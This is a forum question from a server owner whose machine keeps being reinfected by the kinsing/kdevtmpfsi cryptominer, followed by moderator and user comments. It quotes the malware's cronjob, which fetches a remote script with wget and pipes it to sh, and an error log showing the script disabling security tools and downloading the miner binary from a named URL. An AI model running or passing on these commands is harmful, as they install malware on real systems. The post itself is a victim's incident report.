3

For a few weeks, someone, probably a bot keep installing a bitcoin miner on my server, I find it because it is taking all the CPU. The process name is kdevtmpfsi located at /tmp/kdevtmpfsi, there's watch dog process kinsing located at /var/tmp/kinsing and a cronjob: 

* * * * * wget -q -O - http://195.3.146.118/ex.sh | sh > /dev/null 2>&1

I keep removing the trace above, but the attacking keep re-injecting, using the same exploit which must be tie to the apache2 process because here's what I find in my apache2 error log:

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0sh: 2: ulimit: error setting limit (Operation not permitted)
rm: cannot remove '/var/log/syslog': Permission denied

100 27434  100 27434    0     0  4465k      0 --:--:-- --:--:-- --:--:-- 4465k
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
ERROR: You need to be root to run this script
iptables v1.6.1: can't initialize iptables table `filter': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
sudo: no tty present and no askpass program specified
sh: 10: cannot create /proc/sys/kernel/nmi_watchdog: Permission denied
sh: 11: cannot create /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
grep: Trailing backslash
grep: write error: Broken pipe
kill: (56): Operation not permitted
kill: (25879): No such process
kill: (25886): No such process
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
pkill: killing pid 807 failed: Operation not permitted
pkill: killing pid 836 failed: Operation not permitted
pkill: killing pid 836 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
sh: 477: docker: not found
sh: 478: docker: not found
sh: 479: docker: not found
sh: 480: docker: not found
sh: 481: docker: not found
sh: 482: docker: not found
sh: 483: docker: not found
sh: 484: docker: not found
sh: 485: docker: not found
sh: 486: docker: not found
sh: 487: docker: not found
sh: 488: docker: not found
sh: 489: docker: not found
sh: 490: docker: not found
sh: 491: docker: not found
sh: 492: docker: not found
sh: 493: docker: not found
sh: 494: docker: not found
sh: 495: docker: not found
sh: 496: docker: not found
sh: 497: docker: not found
sh: 498: docker: not found
sh: 499: setenforce: not found
sh: 500: cannot create /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
sh: echo: I/O error
md5sum: /var/tmp/kinsing: No such file or directory
sh: echo: I/O error
sh: echo: I/O error
--2020-01-10 19:03:30--  https://bitbucket.org/kondrongo12/git/raw/master/kinsing
Resolving bitbucket.org (bitbucket.org)... 18.205.93.2, 18.205.93.1, 18.205.93.0, ...
Connecting to bitbucket.org (bitbucket.org)|18.205.93.2|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17072128 (16M) [application/octet-stream]
Saving to: '/var/tmp/kinsing'

     0K .......... .......... .......... .......... ..........  0% 1.54M 11s
    50K .......... .......... .......... .......... ..........  0% 3.62M 7s
   100K .......... .......... .......... .......... ..........  0% 5.97M 6s
   150K .......... .......... .......... .......... ..........  1% 7.92M 5s
 16500K .......... .......... .......... .......... .......... 99% 11.5M 0s
 16550K .......... .......... .......... .......... .......... 99% 9.01M 0s
 16600K .......... .......... .......... .......... .......... 99% 11.3M 0s
 16650K .......... .......... ..                              100% 28.2M=1.5s

2020-01-10 19:03:31 (10.8 MB/s) - '/var/tmp/kinsing' saved [17072128/17072128]

sh: echo: I/O error
sh: echo: I/O error

This is in apache2 main error log file (/var/log/apache2/error.log) and no in my website error log so I am thinking that it is not related to my php code, what should I do/check next?

Improve this question
5
  • no really, in this case I know that the attacker is using apache2, my next step is to turn that off but that's not a long term solution, I need a way to determine more specifically the culprit, currently I am trying randomly, like I upgraded the php version to 7.4 today.
    – christianb35
    Commented Jan 12, 2020 at 19:30
  • Unfortunately, we are not a malware removal site. The general advice in the duplicate is about as far as we can go without actually being able to investigate your server.
    – schroeder ♦
    Commented Jan 12, 2020 at 20:07
  • 1
    Sorry but with what I posted like "it is using apache2 process", some people could have came with cleaver to trace the exploit being used or point to possible exploit. The "duplicate" link is not related at all to my issue. Currently I suspect that it may have been xdebug, but I am still waiting to see if the attack will happen again to confirm.
    – christianb35
    Commented Jan 13, 2020 at 21:26
  • I get that, but that's still a forensic investigation into malware. That's simply not what we do here.
    – schroeder ♦
    Commented Jan 13, 2020 at 21:28
  • It seems to enter the system through compromised docker images, see this report: security.stackexchange.com/questions/251593/…
    – fccoelho
    Commented Aug 23, 2021 at 11:45

0

Reset to default

Browse other questions tagged .